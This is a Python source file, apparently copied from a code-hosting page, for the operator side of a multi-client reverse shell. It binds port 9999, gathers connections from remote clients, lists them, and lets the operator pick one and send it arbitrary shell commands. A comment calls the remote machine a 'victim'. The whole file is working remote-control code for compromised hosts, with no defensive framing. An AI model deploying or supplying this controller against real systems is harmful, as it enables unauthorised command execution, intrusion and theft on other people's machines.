175 lines
3.9 KiB
Python
Executable File
175 lines
3.9 KiB
Python
Executable File
import socket
|
|
import sys
|
|
import threading
|
|
import time
|
|
from queue import Queue
|
|
|
|
NUMBER_OF_THREADS = 2
|
|
JOB_NUMBER = [1, 2]
|
|
queue = Queue()
|
|
all_connections = []
|
|
all_address = []
|
|
|
|
|
|
# Create a Socket ( connect two computers)
|
|
def create_socket():
|
|
try:
|
|
global host
|
|
global port
|
|
global s
|
|
host = "0.0.0.0"
|
|
port = 9999
|
|
s = socket.socket()
|
|
|
|
except socket.error as msg:
|
|
print("Socket creation error: " + str(msg))
|
|
|
|
|
|
# Binding the socket and listening for connections
|
|
def bind_socket():
|
|
try:
|
|
global host
|
|
global port
|
|
global s
|
|
print("Binding the Port: " + str(port))
|
|
|
|
s.bind((host, port))
|
|
s.listen(5)
|
|
|
|
except socket.error as msg:
|
|
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
|
|
bind_socket()
|
|
|
|
|
|
# Handling connection from multiple clients and saving to a list
|
|
# Closing previous connections when server.py file is restarted
|
|
|
|
def accepting_connections():
|
|
for c in all_connections:
|
|
c.close()
|
|
|
|
del all_connections[:]
|
|
del all_address[:]
|
|
|
|
while True:
|
|
try:
|
|
conn, address = s.accept()
|
|
s.setblocking(1) # prevents timeout
|
|
|
|
all_connections.append(conn)
|
|
all_address.append(address)
|
|
|
|
print("Connection has been established :" + address[0])
|
|
|
|
except:
|
|
print("Error accepting connections")
|
|
|
|
|
|
# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client
|
|
# Interactive prompt for sending commands
|
|
# turtle> list
|
|
# 0 Friend-A Port
|
|
# 1 Friend-B Port
|
|
# 2 Friend-C Port
|
|
# turtle> select 1
|
|
# 192.168.0.112> dir
|
|
|
|
|
|
def start_turtle():
|
|
|
|
while True:
|
|
cmd = input('command list or select > ')
|
|
if cmd == 'list':
|
|
list_connections()
|
|
elif 'select' in cmd:
|
|
conn = get_target(cmd)
|
|
if conn is not None:
|
|
send_target_commands(conn)
|
|
|
|
else:
|
|
print("Command not recognized")
|
|
|
|
|
|
# Display all current active connections with client
|
|
|
|
def list_connections():
|
|
results = ''
|
|
|
|
for i, conn in enumerate(all_connections):
|
|
try:
|
|
conn.send(str.encode(' '))
|
|
conn.recv(20480)
|
|
except:
|
|
del all_connections[i]
|
|
del all_address[i]
|
|
continue
|
|
|
|
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
|
|
|
|
print("----Clients----" + "\n" + results)
|
|
|
|
|
|
# Selecting the target
|
|
def get_target(cmd):
|
|
try:
|
|
target = cmd.replace('select ', '') # target = id
|
|
target = int(target)
|
|
conn = all_connections[target]
|
|
print("You are now connected to :" + str(all_address[target][0]))
|
|
print(str(all_address[target][0]) + ">", end="")
|
|
return conn
|
|
# 192.168.0.4> dir
|
|
|
|
except:
|
|
print("Selection not valid")
|
|
return None
|
|
|
|
|
|
# Send commands to client/victim or a friend
|
|
def send_target_commands(conn):
|
|
while True:
|
|
try:
|
|
cmd = input()
|
|
if cmd == 'exit':
|
|
break
|
|
if len(str.encode(cmd)) > 0:
|
|
conn.send(str.encode(cmd))
|
|
client_response = str(conn.recv(20480), "utf-8")
|
|
print(client_response, end="")
|
|
except:
|
|
print("Error sending commands")
|
|
break
|
|
|
|
|
|
# Create worker threads
|
|
def create_workers():
|
|
for _ in range(NUMBER_OF_THREADS):
|
|
t = threading.Thread(target=work)
|
|
t.daemon = True
|
|
t.start()
|
|
|
|
|
|
# Do next job that is in the queue (handle connections, send commands)
|
|
def work():
|
|
while True:
|
|
x = queue.get()
|
|
if x == 1:
|
|
create_socket()
|
|
bind_socket()
|
|
accepting_connections()
|
|
if x == 2:
|
|
start_turtle()
|
|
|
|
queue.task_done()
|
|
|
|
|
|
def create_jobs():
|
|
for x in JOB_NUMBER:
|
|
queue.put(x)
|
|
|
|
queue.join()
|
|
|
|
|
|
create_workers()
|
|
create_jobs()
|